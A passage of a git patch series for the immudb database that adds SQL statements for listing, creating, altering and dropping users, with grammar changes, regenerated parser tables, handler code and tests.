102: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 101: + case 103: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 102: + case 104: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 103: + case 105: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 104: + case 106: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 105: + case 107: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 106: + case 108: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 107: + case 109: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 108: + case 110: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 109: + case 111: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 110: + case 112: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 111: + case 113: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 112: + case 114: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 113: + case 115: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 114: + case 116: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 115: + case 117: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 116: + case 118: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 117: + case 119: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 118: + case 120: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 119: + case 121: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 120: + case 122: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 121: + case 123: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 122: + case 124: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 123: + case 125: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 124: + case 126: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 125: + case 127: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 126: + case 128: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 127: + case 129: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 128: + case 130: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 129: + case 131: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 130: + case 132: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 131: + case 133: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 132: + case 134: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 133: + case 135: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 134: + case 136: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 135: + case 137: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 136: + case 138: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 137: + case 139: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 138: + case 140: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 139: + case 141: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 140: + case 142: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 141: + case 143: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 142: + case 144: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 143: + case 145: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 144: + case 146: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 145: + case 147: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 146: + case 148: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 147: + case 149: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 148: + case 150: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 149: + case 151: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 150: + case 152: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 151: + case 153: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 152: + case 154: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 153: + case 155: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 154: + case 156: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 155: + case 157: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 156: + case 158: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 157: + case 159: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 158: + case 160: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 159: + case 161: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} From a5408ffed33fcdbb9b1fb882722e658c0857b5a2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 7 Nov 2023 14:43:13 +0100 Subject: [PATCH 0915/1062] feat(embedded/sql): show users stmt Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 6 ++++ embedded/sql/engine_test.go | 4 +++ embedded/sql/stmt.go | 68 +++++++++++++++++++++++++++++++++++++ 3 files changed, 78 insertions(+) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 29d2c089e9..f4a0abbed8 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -114,9 +114,15 @@ type MultiDBHandler interface { ListDatabases(ctx context.Context) ([]string, error) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error UseDatabase(ctx context.Context, db string) error + ListUsers(ctx context.Context) ([]User, error) ExecPreparedStmts(ctx context.Context, opts *TxOptions, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) } +type User interface { + Username() string + Permission() uint32 +} + func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { if st == nil { return nil, ErrIllegalArguments diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index dec881bc64..ff02e6ab28 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6081,6 +6081,10 @@ func (h *multidbHandlerMock) UseDatabase(ctx context.Context, db string) error { return nil } +func (h *multidbHandlerMock) ListUsers(ctx context.Context) ([]User, error) { + return nil, nil +} + func (h *multidbHandlerMock) ExecPreparedStmts( ctx context.Context, opts *TxOptions, diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 01a7f08b5c..fe9e19b285 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -119,6 +119,7 @@ const ( UUIDFnCall string = "RANDOM_UUID" DatabasesFnCall string = "DATABASES" TablesFnCall string = "TABLES" + UsersFnCall string = "USERS" ColumnsFnCall string = "COLUMNS" IndexesFnCall string = "INDEXES" ) @@ -3987,6 +3988,10 @@ func (stmt *FnDataSourceStmt) Alias() string { { return "tables" } + case UsersFnCall: + { + return "users" + } case ColumnsFnCall: { return "columns" @@ -4015,6 +4020,10 @@ func (stmt *FnDataSourceStmt) Resolve(ctx context.Context, tx *SQLTx, params map { return stmt.resolveListTables(ctx, tx, params, scanSpecs) } + case UsersFnCall: + { + return stmt.resolveListUsers(ctx, tx, params, scanSpecs) + } case ColumnsFnCall: { return stmt.resolveListColumns(ctx, tx, params, scanSpecs) @@ -4081,6 +4090,65 @@ func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, return newValuesRowReader(tx, params, cols, stmt.Alias(), values) } +func (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { + if len(stmt.fnCall.params) > 0 { + return nil, fmt.Errorf("%w: function '%s' expect no parameters but %d were provided", ErrIllegalArguments, UsersFnCall, len(stmt.fnCall.params)) + } + + cols := make([]ColDescriptor, 2) + cols[0] = ColDescriptor{ + Column: "name", + Type: VarcharType, + } + cols[1] = ColDescriptor{ + Column: "permission", + Type: VarcharType, + } + + var users []User + + if tx.engine.multidbHandler == nil { + return nil, ErrUnspecifiedMultiDBHandler + } else { + users, err = tx.engine.multidbHandler.ListUsers(ctx) + if err != nil { + return nil, err + } + } + + values := make([][]ValueExp, len(users)) + + for i, user := range users { + var perm string + + switch user.Permission() { + case 1: + { + perm = "READ" + } + case 2: + { + perm = "READ/WRITE" + } + case 254: + { + perm = "ADMIN" + } + default: + { + perm = "SYSADMIN" + } + } + + values[i] = []ValueExp{ + &Varchar{val: user.Username()}, + &Varchar{val: perm}, + } + } + + return newValuesRowReader(tx, params, cols, stmt.Alias(), values) +} + func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { if len(stmt.fnCall.params) != 1 { return nil, fmt.Errorf("%w: function '%s' expect table name as parameter", ErrIllegalArguments, ColumnsFnCall) From 0f0830572bbaf3d5530861948e63949ec82e285f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 7 Nov 2023 14:44:09 +0100 Subject: [PATCH 0916/1062] chore(pkg/server): list users from multidb handler Signed-off-by: Jeronimo Irazabal --- pkg/database/database_test.go | 4 +++ pkg/server/multidb_handler.go | 52 +++++++++++++++++++++++++++++++++++ 2 files changed, 56 insertions(+) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index a25ef29c56..587bbae548 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -93,6 +93,10 @@ func (h *dummyMultidbHandler) UseDatabase(ctx context.Context, db string) error return sql.ErrNoSupported } +func (h *dummyMultidbHandler) ListUsers(ctx context.Context) ([]string, error) { + return nil, sql.ErrNoSupported +} + func (h *dummyMultidbHandler) ExecPreparedStmts( ctx context.Context, opts *sql.TxOptions, diff --git a/pkg/server/multidb_handler.go b/pkg/server/multidb_handler.go index 739df83c55..0fc4578f03 100644 --- a/pkg/server/multidb_handler.go +++ b/pkg/server/multidb_handler.go @@ -65,6 +65,58 @@ func (h *multidbHandler) ListDatabases(ctx context.Context) ([]string, error) { return dbs, nil } +func (h *multidbHandler) ListUsers(ctx context.Context) ([]sql.User, error) { + db, err := h.s.getDBFromCtx(ctx, "ListUsers") + if err != nil { + return nil, err + } + + res, err := h.s.ListUsers(ctx, nil) + if err != nil { + return nil, err + } + + users := make([]sql.User, 0, len(res.Users)) + + for _, user := range res.Users { + if !user.Active { + continue + } + + var hasPermission *schema.Permission + + if string(user.User) == auth.SysAdminUsername { + hasPermission = &schema.Permission{Database: db.GetName()} + } else { + for _, perm := range user.Permissions { + if perm.Database == db.GetName() { + hasPermission = perm + break + } + } + } + + if hasPermission != nil { + users = append(users, &User{username: string(user.User), perm: hasPermission.Permission}) + } + } + + return users, nil +} + +type User struct { + username string + perm uint32 +} + +func (usr *User) Username() string { + return usr.username +} + +func (usr *User) Permission() uint32 { + return usr.perm +} + func (h *multidbHandler) ExecPreparedStmts( ctx context.Context, opts *sql.TxOptions, From b55812faca4618e9b4e0bfdf9d904722e3a5c680 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 7 Nov 2023 14:53:54 +0100 Subject: [PATCH 0917/1062] test(pkg/database): dummy multidb handler Signed-off-by: Jeronimo Irazabal --- pkg/database/database_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 587bbae548..23e49a35cf 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -93,7 +93,7 @@ func (h *dummyMultidbHandler) UseDatabase(ctx context.Context, db string) error return sql.ErrNoSupported } -func (h *dummyMultidbHandler) ListUsers(ctx context.Context) ([]string, error) { +func (h *dummyMultidbHandler) ListUsers(ctx context.Context) ([]sql.User, error) { return nil, sql.ErrNoSupported } From f2d63195ac32bd637a05dbd74d4e12849375be04 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 8 Nov 2023 12:47:46 +0100 Subject: [PATCH 0918/1062] test(pkg/integration): show users Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 10 ++++++++++ pkg/integration/session_test.go | 17 +++++++++++++++++ 2 files changed, 27 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index ff02e6ab28..30072ae841 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6043,6 +6043,16 @@ func TestMultiDBCatalogQueries(t *testing.T) { require.NoError(t, err) }) + t.Run("show users", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SHOW USERS", nil) + require.NoError(t, err) + + defer r.Close() + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + }) + t.Run("query databases using conditions with table and column aliasing", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT dbs.name as dbname FROM DATABASES() as dbs WHERE name LIKE 'db*'", nil) require.NoError(t, err) diff --git a/pkg/integration/session_test.go b/pkg/integration/session_test.go index 9e72e88516..a94477e2ad 100644 --- a/pkg/integration/session_test.go +++ b/pkg/integration/session_test.go @@ -197,3 +197,20 @@ func TestSession_CreateDBFromSQLStmts(t *testing.T) { err = client.CloseSession(context.Background()) require.NoError(t, err) } + +func TestSession_ListUSersFromSQLStmts(t *testing.T) { + _, client, ctx := setupTestServerAndClient(t) + + _, err := client.SQLExec(ctx, "CREATE DATABASE db1", nil) + require.NoError(t, err) + + err = client.CreateUser(ctx, []byte("user1"), []byte("user1Password!"), 1, "db1") + require.NoError(t, err) + + res, err := client.SQLQuery(ctx, "SHOW USERS", nil, false) + require.NoError(t, err) + require.Len(t, res.Rows, 1) + + err = client.CloseSession(context.Background()) + require.NoError(t, err) +} From ac721a63532196ccb0b8a9cb280141bcbd59877d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 8 Nov 2023 13:01:46 +0100 Subject: [PATCH 0919/1062] test(pkg/integration): show users Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 10 ++++++++++ pkg/integration/session_test.go | 14 ++++++++++++-- 2 files changed, 22 insertions(+), 2 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 30072ae841..aba68785c0 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6053,6 +6053,16 @@ func TestMultiDBCatalogQueries(t *testing.T) { require.ErrorIs(t, err, ErrNoMoreRows) }) + t.Run("list users", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT * FROM USERS()", nil) + require.NoError(t, err) + + defer r.Close() + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + }) + t.Run("query databases using conditions with table and column aliasing", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT dbs.name as dbname FROM DATABASES() as dbs WHERE name LIKE 'db*'", nil) require.NoError(t, err) diff --git a/pkg/integration/session_test.go b/pkg/integration/session_test.go index a94477e2ad..02e6e162d2 100644 --- a/pkg/integration/session_test.go +++ b/pkg/integration/session_test.go @@ -25,6 +25,7 @@ import ( "time" "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/pkg/api/schema" ic "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" @@ -204,12 +205,21 @@ func TestSession_ListUSersFromSQLStmts(t *testing.T) { _, err := client.SQLExec(ctx, "CREATE DATABASE db1", nil) require.NoError(t, err) - err = client.CreateUser(ctx, []byte("user1"), []byte("user1Password!"), 1, "db1") + err = client.CreateUser(ctx, []byte("user1"), []byte("user1Password!"), 1, "defaultdb") + require.NoError(t, err) + + err = client.CreateUser(ctx, []byte("user2"), []byte("user2Password!"), 1, "defaultdb") + require.NoError(t, err) + + err = client.CreateUser(ctx, []byte("user3"), []byte("user3Password!"), 1, "db1") + require.NoError(t, err) + + err = client.SetActiveUser(ctx, &schema.SetActiveUserRequest{Username: "user2", Active: false}) require.NoError(t, err) res, err := client.SQLQuery(ctx, "SHOW USERS", nil, false) require.NoError(t, err) - require.Len(t, res.Rows, 1) + require.Len(t, res.Rows, 2) err = client.CloseSession(context.Background()) require.NoError(t, err) From a7afab8588e7f613d13bccc734b39708ad1227e8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 8 Nov 2023 16:19:02 +0100 Subject: [PATCH 0920/1062] feat(embedded/sql): wip user mgmt Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 3 + embedded/sql/engine_test.go | 12 + embedded/sql/parser.go | 6 + embedded/sql/sql_grammar.y | 40 +- embedded/sql/sql_parser.go | 878 ++++++++++++++++++---------------- embedded/sql/stmt.go | 72 +++ pkg/database/database_test.go | 12 + pkg/server/multidb_handler.go | 86 ++++ 8 files changed, 696 insertions(+), 413 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index f4a0abbed8..cf5a904cf3 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -115,6 +115,9 @@ type MultiDBHandler interface { CreateDatabase(ctx context.Context, db string, ifNotExists bool) error UseDatabase(ctx context.Context, db string) error ListUsers(ctx context.Context) ([]User, error) + CreateUser(ctx context.Context, username, password string, permission Permission) error + AlterUser(ctx context.Context, username, password string, permission Permission) error + DropUser(ctx context.Context, username string) error ExecPreparedStmts(ctx context.Context, opts *TxOptions, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index aba68785c0..7348ab05d8 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6105,6 +6105,18 @@ func (h *multidbHandlerMock) ListUsers(ctx context.Context) ([]User, error) { return nil, nil } +func (h *multidbHandlerMock) CreateUser(ctx context.Context, username, password string, permission Permission) error { + return ErrNoSupported +} + +func (h *multidbHandlerMock) AlterUser(ctx context.Context, username, password string, permission Permission) error { + return ErrNoSupported +} + +func (h *multidbHandlerMock) DropUser(ctx context.Context, username string) error { + return ErrNoSupported +} + func (h *multidbHandlerMock) ExecPreparedStmts( ctx context.Context, opts *TxOptions, diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 957cdd5a86..672eb9ea2a 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -96,6 +96,12 @@ var reservedWords = map[string]int{ "DATABASES": DATABASES, "TABLES": TABLES, "USERS": USERS, + "USER": USER, + "WITH": WITH, + "PASSWORD": PASSWORD, + "READ": READ, + "READWRITE": READWRITE, + "ADMIN": ADMIN, } var joinTypes = map[string]JoinType{ diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 25b4fae6e3..6b06944fcb 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -67,9 +67,11 @@ func setResult(l yyLexer, stmts []SQLStmt) { update *colUpdate updates []*colUpdate onConflict *OnConflictDo + permission Permission } -%token CREATE DROP USE DATABASE SNAPSHOT HISTORY SINCE AFTER BEFORE UNTIL TX OF TIMESTAMP TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN PRIMARY KEY +%token CREATE DROP USE DATABASE USER WITH PASSWORD READ READWRITE ADMIN SNAPSHOT HISTORY SINCE AFTER BEFORE UNTIL TX OF TIMESTAMP +%token TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN PRIMARY KEY %token BEGIN TRANSACTION COMMIT ROLLBACK %token INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING %token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL @@ -140,6 +142,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type update %type updates %type opt_on_conflict +%type permission %start sql @@ -256,6 +259,41 @@ ddlstmt: { $$ = &DropColumnStmt{table: $3, colName: $6} } +| + CREATE USER IDENTIFIER WITH PASSWORD IDENTIFIER permission + { + $$ = &CreateUserStmt{username: $3, password: $6, permission: $7} + } +| + ALTER USER IDENTIFIER WITH PASSWORD IDENTIFIER permission + { + $$ = &AlterUserStmt{username: $3, password: $6, permission: $7} + } +| + DROP USER IDENTIFIER + { + $$ = &DropUserStmt{username: $3} + } + +permission: + { + $$ = PermissionReadWrite + } +| + READ + { + $$ = PermissionReadOnly + } +| + READWRITE + { + $$ = PermissionReadWrite + } +| + ADMIN + { + $$ = PermissionAdmin + } opt_if_not_exists: { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 1f47268c6f..bf107d9b53 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -53,92 +53,99 @@ type yySymType struct { update *colUpdate updates []*colUpdate onConflict *OnConflictDo + permission Permission } const CREATE = 57346 const DROP = 57347 const USE = 57348 const DATABASE = 57349 -const SNAPSHOT = 57350 -const HISTORY = 57351 -const SINCE = 57352 -const AFTER = 57353 -const BEFORE = 57354 -const UNTIL = 57355 -const TX = 57356 -const OF = 57357 -const TIMESTAMP = 57358 -const TABLE = 57359 -const UNIQUE = 57360 -const INDEX = 57361 -const ON = 57362 -const ALTER = 57363 -const ADD = 57364 -const RENAME = 57365 -const TO = 57366 -const COLUMN = 57367 -const PRIMARY = 57368 -const KEY = 57369 -const BEGIN = 57370 -const TRANSACTION = 57371 -const COMMIT = 57372 -const ROLLBACK = 57373 -const INSERT = 57374 -const UPSERT = 57375 -const INTO = 57376 -const VALUES = 57377 -const DELETE = 57378 -const UPDATE = 57379 -const SET = 57380 -const CONFLICT = 57381 -const DO = 57382 -const NOTHING = 57383 -const SELECT = 57384 -const DISTINCT = 57385 -const FROM = 57386 -const JOIN = 57387 -const HAVING = 57388 -const WHERE = 57389 -const GROUP = 57390 -const BY = 57391 -const LIMIT = 57392 -const OFFSET = 57393 -const ORDER = 57394 -const ASC = 57395 -const DESC = 57396 -const AS = 57397 -const UNION = 57398 -const ALL = 57399 -const NOT = 57400 -const LIKE = 57401 -const IF = 57402 -const EXISTS = 57403 -const IN = 57404 -const IS = 57405 -const AUTO_INCREMENT = 57406 -const NULL = 57407 -const CAST = 57408 -const SCAST = 57409 -const SHOW = 57410 -const DATABASES = 57411 -const TABLES = 57412 -const USERS = 57413 -const NPARAM = 57414 -const PPARAM = 57415 -const JOINTYPE = 57416 -const LOP = 57417 -const CMPOP = 57418 -const IDENTIFIER = 57419 -const TYPE = 57420 -const INTEGER = 57421 -const FLOAT = 57422 -const VARCHAR = 57423 -const BOOLEAN = 57424 -const BLOB = 57425 -const AGGREGATE_FUNC = 57426 -const ERROR = 57427 -const DOT = 57428 -const STMT_SEPARATOR = 57429 +const USER = 57350 +const WITH = 57351 +const PASSWORD = 57352 +const READ = 57353 +const READWRITE = 57354 +const ADMIN = 57355 +const SNAPSHOT = 57356 +const HISTORY = 57357 +const SINCE = 57358 +const AFTER = 57359 +const BEFORE = 57360 +const UNTIL = 57361 +const TX = 57362 +const OF = 57363 +const TIMESTAMP = 57364 +const TABLE = 57365 +const UNIQUE = 57366 +const INDEX = 57367 +const ON = 57368 +const ALTER = 57369 +const ADD = 57370 +const RENAME = 57371 +const TO = 57372 +const COLUMN = 57373 +const PRIMARY = 57374 +const KEY = 57375 +const BEGIN = 57376 +const TRANSACTION = 57377 +const COMMIT = 57378 +const ROLLBACK = 57379 +const INSERT = 57380 +const UPSERT = 57381 +const INTO = 57382 +const VALUES = 57383 +const DELETE = 57384 +const UPDATE = 57385 +const SET = 57386 +const CONFLICT = 57387 +const DO = 57388 +const NOTHING = 57389 +const SELECT = 57390 +const DISTINCT = 57391 +const FROM = 57392 +const JOIN = 57393 +const HAVING = 57394 +const WHERE = 57395 +const GROUP = 57396 +const BY = 57397 +const LIMIT = 57398 +const OFFSET = 57399 +const ORDER = 57400 +const ASC = 57401 +const DESC = 57402 +const AS = 57403 +const UNION = 57404 +const ALL = 57405 +const NOT = 57406 +const LIKE = 57407 +const IF = 57408 +const EXISTS = 57409 +const IN = 57410 +const IS = 57411 +const AUTO_INCREMENT = 57412 +const NULL = 57413 +const CAST = 57414 +const SCAST = 57415 +const SHOW = 57416 +const DATABASES = 57417 +const TABLES = 57418 +const USERS = 57419 +const NPARAM = 57420 +const PPARAM = 57421 +const JOINTYPE = 57422 +const LOP = 57423 +const CMPOP = 57424 +const IDENTIFIER = 57425 +const TYPE = 57426 +const INTEGER = 57427 +const FLOAT = 57428 +const VARCHAR = 57429 +const BOOLEAN = 57430 +const BLOB = 57431 +const AGGREGATE_FUNC = 57432 +const ERROR = 57433 +const DOT = 57434 +const STMT_SEPARATOR = 57435 var yyToknames = [...]string{ "$end", @@ -148,6 +155,12 @@ var yyToknames = [...]string{ "DROP", "USE", "DATABASE", + "USER", + "WITH", + "PASSWORD", + "READ", + "READWRITE", + "ADMIN", "SNAPSHOT", "HISTORY", "SINCE", @@ -250,229 +263,234 @@ var yyExca = [...]int16{ -1, 1, 1, -1, -2, 0, - -1, 84, - 59, 152, - 62, 152, - -2, 140, - -1, 212, - 45, 116, - -2, 111, - -1, 246, - 45, 116, - -2, 113, + -1, 91, + 65, 159, + 68, 159, + -2, 147, + -1, 224, + 51, 123, + -2, 118, + -1, 263, + 51, 123, + -2, 120, } const yyPrivate = 57344 -const yyLast = 424 +const yyLast = 441 var yyAct = [...]int16{ - 83, 336, 70, 206, 119, 239, 157, 268, 272, 98, - 163, 154, 195, 245, 267, 196, 111, 6, 177, 52, - 114, 89, 20, 307, 204, 166, 167, 168, 259, 233, - 258, 204, 312, 170, 204, 204, 204, 292, 86, 290, - 318, 88, 260, 234, 205, 101, 97, 311, 19, 82, - 165, 273, 99, 100, 308, 302, 293, 102, 291, 92, - 93, 94, 95, 96, 71, 69, 254, 253, 274, 87, - 252, 250, 232, 230, 91, 22, 222, 137, 221, 203, - 269, 229, 116, 130, 226, 146, 123, 141, 142, 135, - 136, 218, 144, 86, 146, 217, 88, 216, 179, 147, - 101, 97, 131, 132, 134, 133, 145, 99, 100, 193, - 143, 125, 102, 159, 92, 93, 94, 95, 96, 71, - 122, 110, 156, 109, 87, 174, 137, 169, 137, 91, - 160, 72, 181, 182, 183, 184, 185, 186, 135, 136, - 171, 248, 335, 296, 173, 329, 194, 197, 112, 295, - 123, 131, 132, 134, 133, 134, 133, 233, 72, 198, - 223, 192, 204, 211, 118, 71, 105, 209, 199, 289, - 212, 67, 72, 288, 219, 264, 220, 255, 86, 71, - 224, 88, 210, 214, 213, 101, 97, 191, 161, 57, - 228, 225, 99, 100, 137, 121, 72, 102, 137, 92, - 93, 94, 95, 96, 71, 155, 280, 136, 241, 87, - 295, 29, 30, 243, 91, 81, 266, 120, 249, 131, - 